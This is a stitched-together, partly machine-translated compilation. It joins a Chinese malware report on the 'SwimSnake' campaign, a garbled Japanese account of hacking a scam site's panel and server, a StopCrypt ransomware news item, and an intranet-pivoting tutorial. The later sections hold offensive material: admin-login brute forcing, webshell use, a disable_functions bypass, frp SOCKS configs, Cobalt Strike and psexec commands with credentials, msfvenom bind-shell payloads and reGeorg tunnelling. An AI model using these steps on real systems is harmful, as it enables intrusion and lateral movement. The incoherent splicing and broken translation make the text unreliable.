3 樣本分析3.1 可執行程序由於攻擊者投放的惡意可執行程序較多,此處以一例出現頻率較高的可執行程序為例。

表3‑1樣本標籤

惡意代碼名稱

Trojan/Win64.SwimSnake[Downloader]

原始文件名

資料全套.exe

MD5

A3A423DD691197920B64EA8E569A0CDE

處理器架構

Intel 386 or later, and compatibles

文件大小

163 KB (167168字節)

文件格式

BinExecute/Microsoft.EXE[:X64]

時間戳

2013-03-29 01:46:13(偽造)

數字簽名

無效的數字簽名

加殼類型

編譯語言

Microsoft Visual C/C++

PDB路徑

VT首次上傳時間

VT檢測結果

該程序執行後申請一段內存空間,寫入Shellcode並執行。

图 3-1 执行Shellcode.png

圖3‑1執行Shellcode

3.1.1Shellcode該Shellcode判斷當前系統中是否存在C:\xxxx.ini文件,若已經存在則結束進程,攻擊者可能通過這種方式來判斷系統是否曾被感染;然後檢測當前系統中是否運行有安全產品相關進程,若不存在則對硬編碼的字符串進行解密得到URL,從中獲取b.dat文件並進行解密,從而得到兩組URL及下載後用於重命名的文件名稱。該Shellcode默認使用其中的第一組。

图 3-2 获取文件并解密得到URL及文件名称.png

圖3‑2獲取文件並解密得到URL及文件名稱

該Shellcode在C:\Users\Public\Videos中根據隨機生成的名稱創建文件夾,根據第一組URL下載4個文件,使用自定義的解密算法對其進行解密,寫入創建的文件路徑中,最後執行其中的可執行程序。图 3-3 解密后的攻击载荷文件.png

圖3‑3解密後的攻擊載荷文件

3.1.2 “白加黑”利用攻擊者利用“白加黑”手段,通過白程序加載其構造的惡意DLL文件,在內存中執行Shellcode讀取ffff.pol文件內容、解密得到一個DLL文件,再由該DLL文件創建計劃任務、讀取ffff.lop文件進行解密,最終執行Gh0st遠控木馬。图 3-4 由ffff.lop文件解密得到Gh0st远控木马.png

圖3‑4由ffff.lop文件解密得到Gh0st遠控木馬

3.2 CHM文件表3‑2樣本標籤

惡意代碼名稱

Trojan/Win32.SwimSnake[Downloader]

原始文件名

45.204.11.10 (2).CHM

MD5

FB114FFE7FC1454C011BAA502C00A358

文件大小

9.39 KB (9625字節)

文件格式

Microsoft Compiled HTML Help

VT首次上傳時間

VT檢測結果

攻擊者投放的CHM文件執行後,從指定URL處獲取xsl文件,並進行遠程加載。

图 3-5 加载远程xsl文件.png

圖3‑5 加載遠程xsl文件

3.2.1 load.xsl該文件含有兩段經過Base64編碼處理的字符串,對其進行解碼後在內存中加載.NET程序集。

图 3-6 load.xsl文件关键内容.png

圖3‑6 load.xsl文件關鍵內容

3.2.2.NET程序被加載的.NET程序從指定URL處獲取config文件,讀取config文件中的每一行內容,根據其下載文件並執行。

图 3-7 .NET程序关键代码.png

圖3‑7 .NET程序關鍵代碼

3.2.3 config.txtconfig.txt文件中包含多個託管載荷文件的URL。

图 3-8 config.txt文件.png

圖3‑8 config.txt文件

3.2.4“白加黑”利用攻擊者此次利用的白程序是賽車競速遊戲“極限競速:地平線5”相關程序,並針對該白程序構造了惡意的“PartyXboxLive.dll”文件。該DLL文件被加載後,對boom.png文件內容進行解密,創建msiexec.exe進程,並將解密得到的Gh0st遠控木馬注入至msiexec.exe的內存空間中。

图 3-9 攻击者利用“极限竞速:地平线5”相关程序进行攻击.png

圖3‑9攻擊者利用“極限競速:地平線5”相關程序進行攻擊

3.3 商業遠控軟件“第三隻眼”攻擊者投放的“第三隻眼”安裝包程序通常以靜默方式安裝,以避免用戶察覺。

表3‑3樣本標籤

惡意代碼名稱

HackTool/Win32.DSZY[Spy]

原始文件名

企業納稅新系統.exe

MD5

7B8C787345DED235BAC78AB78EC0FAEA860B3B8B

處理器架構

Intel 386 or later, and compatibles

文件大小

38.7 MB (40622763字節)

文件格式

BinExecute/Microsoft.EXE[:X86]

時間戳

2021-11-22 17:54:59

數字簽名

加殼類型

編譯語言

Microsoft Visual C/C++

PDB路徑

VT首次上傳時間

2023-12-05 16:02:42

VT檢測結果

24/72

3.3.1配置信息該軟件安裝目錄中存在3個.conf配置文件,屬於SQLite3數據庫文件,其中含有配置信息。

图 3-10 配置信息文件.png

圖3‑10配置信息文件

comnctt.xdt.conf與syslogin.xdt.conf文件的內容相似,包含關於網絡回連及程序等配置信息。其中,main/host表示服務器域名,config/qyid表示控制端用戶名所對應的id。該遠控軟件會將運行過程中監控的數據回傳至廠商提供的子域名服務器中,並根據qyid識別控制端對應的用戶名。

图 3-11 回连域名及qyid.png

圖3‑11 回連域名及qyid

expiorer.xdt.conf文件中含有與監控相關的配置信息。其中,main/event_config及main/event_rule中含有經過Base64編碼的字符串,解碼後是JSON格式的配置信息,包括監控目標類別、關鍵字、規則等。

图 3-12.png

圖3‑12 main/event_config解碼後的部分內容

3.3.2 數據記錄該軟件的安裝目錄有多個.dat文件,屬於SQLite3數據庫文件,其中記錄著運行過程中收集的數據,包括屏幕截圖、硬件信息、進程相關信息、鍵盤記錄以及根據配置信息中的關鍵詞、規則收集的數據。

屏幕截圖:該軟件會根據配置信息中的時間間隔持續地對屏幕進行截圖。

图 3-13 根据配置信息中的时间间隔持续进行截图.png

圖3‑13根據配置信息中的時間間隔持續進行截圖

進程相關信息:該軟件會對啟動的進程相關信息進行記錄,包括啟動時間、進程名稱、窗口標題等。

图 3-14 记录进程相关信息.png

圖3‑14記錄進程相關信息

根據配置信息中的關鍵詞、規則收集的數據:該軟件會根據配置信息中定義的目標類別、關鍵詞及規則收集數據,並將數據記錄在相應的數據表中,包括鍵盤記錄、文件監控、剪貼板監控、郵件信息等。图 3-15 相关数据表.png

圖3‑15相關數據表

4防護建議4.1 增強業務人員的安全意識增強業務人員的安全意識,降低組織被攻擊的可能性。財務、客服、銷售等人員使用微信、企業微信等電腦端登錄的即時通訊應用時,避免因工作性質、利益原因,被誘導下載和運行不明來源的各類文件。組織可通過選擇安全意識培訓服務,鞏固“第一道安全防線”。

4.2 使用安天安全威脅排查工具排查遊蛇威脅發現或懷疑遭受“遊蛇”黑產攻擊:針對“遊蛇”黑產在攻擊活動中投放的遠控木馬,在安天垂直響應平台下載安天安全威脅排查工具(https://vs2.antiy.cn,“遊蛇”專項排查工具),面對突發性安全事件、特殊場景時快速檢測排查此類威脅。由於“遊蛇”黑產使用的攻擊載荷迭代較快,且持續更新免殺技術,為了更精準、更全面的清除受害主機中存在的威脅,建議客戶在使用專項排查工具檢出威脅後,聯繫安天應急響應團隊(CERT@antiy.cn)處置威脅。

图 4-1 “游蛇”专项排查工具检出“游蛇”威胁.png

圖4‑1“遊蛇”專項排查工具檢出“遊蛇”威脅

4.3 加強終端文件接收和執行防護部署企業級終端防禦系統,實時檢測防護即時通訊軟件接收的不明文件。安天智甲終端防禦系統採用安天下一代威脅檢測引擎檢測不明來源文件,通過內核級主動防禦能力阻止其落地和運行。

图 4-2 安天智甲终端防御系统阻止恶意文件落地.png

圖4‑2安天智甲終端防禦系統阻止惡意文件落地

5IoCsIoCs

A3A423DD691197920B64EA8E569A0CDE

5D8D6F2D27A0BB95A9E4E1C44685F99C

6F4743D3C1C475BC6D2698CC4FC4373F

DB823462C21D62E19634AD1772F80C58

FB114FFE7FC1454C011BAA502C00A358

68A86812EED8C560BD0708F237338BC5

9DC1C5D895721C079DD68B6CD82FB1BB

148B5D68A05D480D60A58F73980363A2

hxxps://lldwt-oss.oss-cn-beijing.aliyuncs.com

hxxps://ced-oss.oss-cn-shanghai.aliyuncs.com

hxxps://augenstern-1324625829.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl

hxxps://elephant-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl

hxxps://petrichor-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl

45.195.57[.]10:8800

45.204.11[.]10:8888

要約

最後のストーリーでは、詐欺サーバーの最高の権限は取得されていますが、これは技術的な制御のみであると述べています。ケースを提出したい場合は、携帯電話、銀行カードなどの人員にできるだけ多くの情報を提供する必要がありますが、現時点では収集されていません(特定の時間のソースコードに銀行口座があると述べましたが、それはテストアカウントであることがわかりましたが、Baiduはそれの多くから出てきたことがわかりました.

情報収集

baota Backstage

最初に思い浮かぶのは、私が以前に入ったことのないパゴダパネルのバックエンドです。ログイン情報などがあるはずですが、ログインパスワードは取得できませんでしたが、これはあまり影響を与えませんでした。パゴダデータベースファイル(パネル/data/default.db、sqliteデータベースファイル)に直接アクセスできるため、アカウントに入ってバックアップして、通常のアカウントが圧倒されるのを防ぐためにパスワードを設定します。

cmd-change-baota-password

cmd-baota-backup-user

ログをきれいにして、喜んでログインします。 ㄏ(▔、▔)ㄏ:

front-baota-home

私が最初に見るのはアカウント名です。管理者の携帯電話番号だと思います。ここで完全に読むことができない場合は、設定にアクセスして見てください。

front-baota-lookup-phone-elements

ソースコードからは見られないアスタリスクを備えた4つのミドルディジットを以下に示しますが、これらも紙のトラであり、その後、インターフェイスがデータを要求し、返品情報が完全な携帯電話番号であることがわかったためです。 WeChatで検索して、このアカウントを見つけました。

wechat-baota-phone

しかし、その真正性は不明であり、おそらく単なる表紙なので、最初に覚えておいてください。

新しい出発点

将来のある時点で情報を収集し続けようとしていたとき、私のドメイン名とIPにさえもアクセスできないことがわかりました。私は次の数日間で試してみましたが、収穫後はおそらく逃げていると感じました。当然のことながら、いくつかの情報を除いて、私が取得したすべての許可は無駄になりました。その後、警察が実際に私に連絡したこともありました(私はお茶を飲まなかった、私は良い市民$ _ $です)。私はもう一度私の運を試したかったので、興味深いことが再び起こりました。訪問する前のIPには、このページが表示されました。

front-user-login

まあ、私はその瞬間にタイトルとアイコンをほとんど信じていたことを認めなければならず、それを貫通の正当性を考慮するために3秒を無駄にしました。慎重に考えると、もしそれがその銀行だったら、どのようにしてサーバーを犯罪歴のあるIPに置くことができるかを知っているでしょうか?ページのコンテンツは不合理で、アカウントを登録してログインしました。

front-user-home-1

front-user-home-2

front-user-home-3

脆弱性マイニング

ポートサービス

=_=まあ、それは良いことです。 NSLookupやDIGなどの通常のツールはドメイン名からIPまでのみ解析できるため、次の分析では上記の推測も確認します。これは、IPでドメイン名を確認するトリックでもあります。ただし、HTTPSを使用するそのようなサイトに遭遇した場合、IPへの直接アクセスを制限しない場合は、ページを正常に入力し、ブラウザの左上隅にあるプロトコル名をクリックして、使用する証明書を表示できます。通常の証明書の「発行」値は、サイトのドメイン名です。明らかにここではなく、一時的またはテスト証明書である必要があります。

front-https-cert

次に、ドメイン名を分析します。

cmd-nslookup-domain

ここでは、パブリックDNSを通じて解決されたIPが以前に使用されたものと互換性がないように見えることがわかりました。慎重に考える場合、CDNサービスが使用されるはずです。これらのIPに対応するサーバーは、すべてサービスを提供する3つのパーティ機関です。浸透はそれほど意味がなく、簡単ではありません。ここでは、ソースステーションIPを介して直接入力して申し訳ありません。そうしないと、ドメイン名とCDNを介してソースステーションを取得するのは別の頭痛の種です。

次に、ドメイン名がある場合は、サブドメインの波をスキャンして、潜在的な関連サイトを取得します。

cmd-enum-subdomain

かなりの数があります。最初にバックアップしてから、フロントデスクページの返品データから分析することを覚えています。これはPHPを使用してLinuxサーバーであることがわかりました。これは、以前のWindows IISサーバーとは異なります。ドメイン名がリリースまたは再び販売されているようです。それでは、新しいポートからポートをスキャンしましょう。

nmap-normal-scan

私はまだおなじみの数字を見つけましたが、最初にパスワードを実行しました。私の過去の経験によると、スマートマスターに出会ったときにネットを逃したかもしれないので、思慮深いフルポートスキャンサービスも必要です。

nmap-all-port-scan

確かにいくつかあります。プロトコルに基づいてどのサービスがあるかを大まかに推測できます。それを一つ一つ試してみてください、そして、1つはSSHログインであり、もう1つはパゴダのバックエンドであることがわかります。

cmd-ssh-login

front-bt-login

パゴダにはまだログイン検証があり、爆破する希望はないので、最初に脇に置くことしかできません。

バックエンドディレクトリ

ディレクトリを爆発させる前に、数回ヒットした後、盲目的に背景パスを推測しました。

front-admin-login-jump

front-admin-login

win-win?存在しないものは、片面╮(╯_╰)╭だけです。ページの簡単な分析の後、ここで魔法のツールを使用する必要はありません。 wfuzzを使用して、アカウントのパスワードの波を実行するだけです。

cmd-wfuzz-admin-login

最初に舞台裏で走り、他の場所を回りましょう。しばらくすると、結果、Yoxi!入って見てください:

front-admin-home

front-admin-products

front-admin-user-bank

front-admin-user-info

front-admin-user-charge

スズメは小さく、すべての内臓がありますが、予想される興味深いものがいくつかあります。

front-admin-user-withdraw

front-admin-risk-control

撤退は言いません。成功することができるかどうかは、管理者の気分によって異なります。以下のものが完全に理解されていないかどうかは関係ありません。たぶん誰もが真実を理解しています。とにかく、それだけです。私はあなたの運命をコントロールし、あなたのリスクを制御します(¬‿¬)。

webshellを取得

私はしばらくして、ページを分析して搾取可能な脆弱性を見つけて、それをガジェットに渡しました。

front-backdoor-phpinfo

再び剣を描く時が来ました:

ant-file-site-root

私はディレクトリに行きましたが、それは単純ではないことがわかりました。以前のドメイン名のいくつかが登場しました。それは小さなサイトグループでしょうか?少し後に彼らの建築を理解するのに時間がかかりました。複数のセカンドレベルのドメイン名が現在のIPを指し、いくつかの異なるCDNアドレスを持っています。次に、第2レベルのドメイン名が別のサーバーIPを指します。現在のIPのサーバーには、別の第1レベルのドメイン名に対応する第2レベルのドメイン名が含まれています。これらのサイトは、ほぼ同じコードセットを共有しています。=_=本当に複雑です。それは、うまく計画されていないビジネス拡大のためですか?しかし、それは問題ではありません。サーバーに対応するだけです。

ant-file-more-sites

次に、 /etc /passwdファイルにアクセスしてユーザーを表示します。このファイルはLinuxのすべてのユーザーがアクセスできるためです。

ant-file-passwd

すべてがデフォルトアカウントです。現在、WWWアカウントであるため、 /etc /Shadowファイルにアクセスする許可がありません。このファイルは、システム内のすべてのアカウントのパスワードのハッシュ値を記録するため、次のステップは権限を上げることです。

システムディレクトリを閲覧するとき、PHPMyAdminのログインアドレスを見つけました。前にスキャンしなかったのも不思議ではありません。アクセスポータルを確認するためのランダムな複雑なパスを生成するようにパゴダで構成されている必要があります。

ant-file-pma-path

front-pma-login

アカウントとパスワードは簡単ですが、特定の手段で取得できます。残念ながら、他のパーティは構成されたルートアカウントではなく、サイトにちなんで名付けられたサブアカウントです。これは、サーバーに複数のサイトがあり、権限が高くないためです。最初にログインして、見てください:

front-pma-home

サイトのフロントとバックエンドからのデータが含まれています。最初に有用な情報を見つけます:

front-pma-databases

front-pma-admin-pass-hash

テーブルストレージ管理者情報があります。私はあきらめました。ご存知の場合は、コメントできます。テーブルにはパスワードのハッシュ値があります。最初にそれを確認して、あなたの運を試してください:

front-pma-admin-pass-text

実際には小さなノートブックがあります(実際に他のサイトを入力するための基礎があります)。

小さなエピソード

ディレクトリを閲覧するときに、いくつかの絶妙なガジェットも見つかりました。

ant-file-backdoors

ant-code-backdoor-abcd-passwd

front-backdoor-abcd-login

front-backdoor-abcd-home

front-backdoor-adminer

front-backdoor-file-manage

場所は大きくなく、とても活気があります。反対側は大きな男性でいっぱいで、彼らを怒らせる余裕はありません。まだいくつかのグループのグループがいるようで、彼らを静かに嘘をつき、お互いを愛し、殺します、私は何も見えませんでした(x_x)。

disable_functionsバイパス

私はもともと仮想端末を開くことを計画していましたが、電力を増やす方法を喜んで研究しましたが、稲妻のストライキが開かれました。

ant-shell-error

言うまでもなく、システム実行機能のほとんどは無効です。これは、PHP構成アイテムのDisable_Functions値であり、PHPスクリプトでシステムコマンドを実行できるいくつかの機能を制限するために使用されます。もちろん、いくつかの脆弱性バイパス法もあります。時間を節約するには多くの方法があるので、1つずつ手動でテストすることはなく、既存の統合プラグインを直接使用することはありません。

ant-plugin-disable-functions-menu

ant-plugin-disable-fun-1

Putenvが無効になっているのを見ると、少しがっかりします。これだけでは、ほとんどのバイパスメソッドを思いとどまらせることができますが、使用する方法がまだ残っているため(PHP-FPM)、まだ試してみる必要があります。システム構成ファイルをチェックすることにより、FPMモジュールで使用されるソケット通信方法が構成されてから開始されることがわかりました。

ant-plugin-disable-fun-2

ant-plugin-disable-fun-3

ant-plugin-disable-fun-start

最後のプロンプトはすべて成功しています。チェックによって生成された動的リンクライブラリファイルも正常にアップロードされましたが、端末はまだ開くことができませんでした。返品データが空であることを促し続けました。最初は、プラグインで使用される関数もPHPによって無効になっているため、戻りが空になり、他の搾取可能な脆弱性は見つかりませんでした。このため、それは週のほとんどで立ち往生していました。その後、情報を確認し、使用率を手動で実装する準備をしました。

実際、この方法の原則は大まかです。PHPは動的な言語ですが、Nginxはこれらを処理できないため、HTTPプロトコルと比較できるFastCGIプロトコルが中央にfastCGIプロトコルがあります。 Nginxは、受信したクライアント要求をFastCGIプロトコル形式のデータに変換し、PHPモジュールのPHP-FPMを使用してこれらのFASTCGIプロトコルデータを処理し、処理のためにPHPインタープレターに渡します。完了後、結果データは以前と同じパスでブラウザクライアントに返されます。したがって、通常、LinuxサーバーでPHPプログラムを開始すると、PHP-FPMと呼ばれるサービスが開始されます。これは通常、マシンの9000ポートまたはソケットファイルをリッスンし、NGINX構成ファイルFastCGIアクセスアドレスもこのポートまたはファイルに割り当てられます。これらはすべて、上記の通信プロセスを完了するためです。

ここで利用可能なポイントは、Nginxへのリクエストをバイパスし、PHP-FPMサービスと直接通信することです。理想的には、構成エラーのため、9000がネイティブインターフェイスではなく、外部ネットワークインターフェイスに耳を傾けます。もちろん、この状況は非常にまれですが、これはローカルマシンを聴くことができないという意味ではありません。 PHPプログラムファイルが書き込み可能であるという前提の下で、プログラム内のCurlインターフェイス(またはStream_Socket_Clientがソケットファイル通信要求を開始する)を介してサーバーのネイティブポート9000へのリクエストを開始でき、FastCGIクライアントを模倣して対応する形式のデータを送信し、NGINXをbypass nigpass niart with phpppmatで送信することができます。 SSRF(サーバー側のリクエスト偽造)と呼ばれるこの操作の別のことわざがあります。つまり、サーバー要求の偽造、サーバーはクライアントが正常にアクセスできないイントラネットリソースにアクセスできます。もちろん、その名前と非常によく似た方法もあります。CSRF(クロスサイトリクエスト偽造、クロスサイトリクエスト偽造)がありますが、これは他のクライアントからのログイン資格情報の盗みです。

ここに別の問題があるかもしれません。このように回った後、私はまだ最終的にPHP-FPMを渡します。この構成の関数制限はまだ存在します。

StopCrypt 勒索軟件(又名STOP)的新變種在野外被發現,它採用涉及shellcode 的多階段執行過程來逃避安全工具。

StopCrypt,也稱為STOP Djvu,是現有的分佈最廣泛的勒索軟件之一。

因為這種勒索軟件操作通常不針對企業,而是針對消費者,經常產生數万筆400 至1000 美元的小額贖金,以至於很少聽到安全研究人員討論STOP。

STOP勒索軟件通常通過惡意廣告和可疑網站傳播,這些網站會分發偽裝成免費軟件、遊戲作弊和軟件破解的廣告軟件捆綁包。

然而,當安裝這些程序時,用戶就會感染各種惡意軟件,包括密碼竊取木馬和STOP 勒索軟件。

自2018 年首次發布以來,勒索軟件加密器沒有太大變化,發布的新版本主要是為了修復關鍵問題。因此,當新的STOP版本發佈時,由於受到影響的人數較多,值得關注。

新的多階段執行威脅研究團隊在野外發現的STOP 勒索軟件新變種,現在利用多階段執行機制。

最初,惡意軟件加載一個看似不相關的DLL 文件(msim32.dll),可能是為了轉移注意力。它還實現了一系列長時間延遲循環,可能有助於繞過與時間相關的安全措施。

接下來,它使用堆棧上動態構造的API 調用來為讀/寫和執行權限分配必要的內存空間,從而使檢測變得更加困難。

StopCrypt 使用API 調用進行各種操作,包括拍攝正在運行的進程的快照以了解其運行環境。

下一階段涉及進程空洞,其中StopCrypt 劫持合法進程並註入其有效負載以在內存中謹慎執行。這是通過一系列精心編排的API 調用來操作進程內存和控制流來完成的。

一旦執行了最終的有效負載,就會發生一系列操作來確保勒索軟件的持久性,修改訪問控制列表(ACL)以拒絕用戶刪除重要惡意軟件文件和目錄的權限,並創建一個計劃任務來每隔一段時間執行一次有效負載5分鐘。

scheduled-task.webp.jpg

StopCrypt的計劃任務

文件已加密,並且新名稱後會附加“.msjd”擴展名。然而,有數百個與STOP 勒索軟件相關的擴展。

最後,在每個受影響的文件夾中都會創建名為“_readme.txt”的勒索字條,向受害者指示支付贖金以檢索數據。

note.webp.jpg

勒索信樣本

StopCrypt 正逐漸演變為更加隱秘和強大的威脅,儘管StopCrypt 的金錢要求並不高,而且其運營商也不會進行數據盜竊,但它仍會對許多人造成巨大損失。

序文

イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。

以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。

1049983-20240512134201496-1780382476.png

ターゲットアウトバウンド(ソックスプロキシ)

これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。

FRP(Socks5)FRPサーバー構成ファイル:

1 | [一般]

2 | bind_port=8080frpクライアント構成ファイル:

1 | [一般]

2 | server_addr=xx.xx.xx.xx

3 | server_port=8080

4 | #Serviceポートは一般的なWebポートを使用します

5 |

6 | [Socks5]

7 | type=tcp

8 | remote_port=8088

9 |プラグイン=socks5

10 | use_encryption=true

11 | use_compression=true

12 | #Socks5パスワード

13 | #plugin_user=superman

14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。

use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]

use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します]

use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。

1049983-20240512134202733-1307124500.png 1049983-20240512134203670-2094206611.png 1049983-20240512134204255-725553901.png暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。

1049983-20240512134205015-817056185.png暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。

1049983-20240512134205882-1270973653.pngコバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。

1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています

1049983-20240512134206742-1303778529.pngプロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。

1049983-20240512134207715-2015895728.pngは、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます!

SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。

SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。

1049983-20240512134208849-655736604.png操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。

1049983-20240512134209667-901525554.png 1049983-20240512134210353-12480323.pngは、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。

1 |ビーコンリンク192.168.144.155

2 | Beaccon Unlink 192.168.144.155 1049983-20240512134211037-132998840.pngLinkリスナーオンラインホストでリスナーを作成します。

1049983-20240512134211928-517817209.pngこのタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。

1049983-20240512134212756-942516291.png作成したばかりのリスナーを選択します。

1049983-20240512134213577-342299124.png現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)1049983-20240512134214378-27620203.pngビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。

1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理

1049983-20240512134215238-1957285179.png1 |ビーコンシェルNetstat -Ano | FindStr 4444

1049983-20240512134215956-1504058873.pngSSH login1 |ビーコンSSH 192.168.144.174:22ルート管理

2 |ビーコンSSH 192.168.144.203:22ルート管理1049983-20240512134216668-903606565.png Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。

1049983-20240512134217520-1183936029.png

ターゲットはネットワークから出ない(HTTPプロキシ)

ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。

Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

1049983-20240512134218417-91446156.png Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。

1049983-20240512134219602-1128156753.pngneo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx

Neo-Regeorgを使用した後、パケットは暗号化されました。

1049983-20240512134220742-378445843.png Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。

アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。

1049983-20240512134221866-2073188842.pngReduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。

1049983-20240512134223045-1724645033.pngここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。

1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe

2 |

3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します

4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します

5 | -i、-iterationsカウントペイロード1049983-20240512134224058-1798659542.pngのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。

1049983-20240512134224983-451445716.pngmetasploitは、転送を聞いた後のアドレスとポートです。

1 | sudo msfconsole -q

2 | MSF5 Exploit/Multi/Handlerを使用します

3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します

4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1

5 | MSF5 Exploit(Multi/Handler)Set LPort 5353

6 | MSF5 Exploit(Multi/Handler)Run -J 1049983-20240512134225767-1569256900.png Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。

1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx

2 |

3 | Telnet 127.0.0.1 1010

4 | [CreateTunnel] 5353:127.0.0.1:53 1049983-20240512134227332-754744672.pngは、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。

1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します

2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します

3 | MSF5 Auxiliary(server/socks4a)run -J 1049983-20240512134228426-187155926.pngに注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

1049983-20240512134230822-923441708.png

分離ネットワーク(マルチレベルエージェント)

イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。

FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。

1049983-20240512134231982-920312375.pngプロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)

1049983-20240512134232742-924618499.pngプロキシルールを設定し、対応するプロキシを選択します。

1049983-20240512134233387-961964612.png 2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。

1049983-20240512134233965-1689779243.pngProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)

winrmはポートマルチプレックス

を実装します

